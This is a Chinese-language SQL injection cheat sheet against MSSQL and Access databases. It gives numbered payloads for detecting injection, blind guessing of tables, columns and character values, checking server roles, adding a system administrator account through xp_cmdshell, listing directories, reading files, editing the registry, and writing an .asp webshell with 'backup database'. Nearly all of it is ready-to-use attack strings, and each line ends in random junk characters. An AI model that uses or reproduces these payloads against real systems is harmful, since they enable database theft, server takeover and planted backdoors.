1.判断是否有注入;and 1=1 ;and 1=2 kH.e"e
2.初步判断是否是mssql ;and user>0 CXI%8eFXe$
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3.注入参数是字符'and [查询条件] and ''=' WQJnWe
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' 3PLYC}Jq
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5.判断数据库系统 q(Q$lRj/I-
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;and (select count(*) from sysobjects)>0 mssql iE6?Px9]
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;and (select count(*) from msysobjects)>0 access |c<h&p
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 i9RAbt Q}
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 3Fu5,H EJ
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 AGWs>
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9.(1)猜字段的ascii值(access) V6L0\
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 |E}-j;(
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(2)猜字段的ascii值(mssql) `X8wnD
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 QC,LHt?6
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10.测试权限结构(mssql) z^FJ
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- >z"\l
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- B7 #O>a
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- q*^m8
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- Qo5yfdR
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 4#Bzq3,|
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- ,6EFJVu
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;and 1=(select IS_MEMBER('db_owner'));-- ] >4CBm$
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11.添加mssql和系统的帐户 M(|6YF7u
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;exec master.dbo.sp_addlogin username;-- * YR>u@
;exec master.dbo.sp_password null,username,password;-- gj@>9
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- `'vNHY
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;exec master.dbo.xp_cmdshell 'net user username password Fy#7<Hp
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- cHAq[Ebp2!
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- 8o SL3
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12.(1)遍历目录 tt0 3gU`
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;create table dirs(paths varchar(100), id int) d1>L&3HKx
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;insert dirs exec master.dbo.xp_dirtree 'c:\' C9j3|]nyL
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;and (select top 1 paths from dirs)>0 |I2~@RfpO:
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) MFtC2*
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(2)遍历目录 KLpFW}
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- hcT5> w[
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 ?~9o2[
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 iGw\A!}w\
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 l|S_10x5
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 68()2v4X
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13.mssql中的存储过程 ]A,Og_g
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xp_regenumvalues 注册表根键, 子键 ~(-df>
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 cq4sgQ?sW
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xp_regread 根键,子键,键值名 iTVepYv4m
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;exec xp_regread {wptOZ
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 U1=]iG<%
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xp_regwrite 根键,子键, 值名, 值类型, 值 fD#!0^
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 Z^t{m!v
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xp_regdeletevalue 根键,子键,值名 r:Ok z
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 #^9a[ZLj0
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 Id?2(Tg
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14.mssql的backup创建webshell ?#|in}
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create table cmd(str image); Vy+kq_9
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insert into cmd(str) values (''); ,h},jkY4
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backup database model to disk='c:\l.asp'; 1v'|%B;O
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15.mssql内置函数 [W8?ww%qT
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;and (select @@version)>0 获得Windows的版本号 qFwAzW;"
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa HEs .pET\
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;and (select user_name())>0 爆当前系统的连接用户 g)=-%n'RoE
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;and (select db_name())>0 得到当前连接的数据库 4=ZN4=(_[
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16.简洁的webshell (2'q~Z+>'
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use model ?#J;[y\^
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create table cmd(str image); f=Kt[|%'e
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insert into cmd(str) values (''); Yzih-$g
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backup database model to disk='g:\wwwtest\l.asp';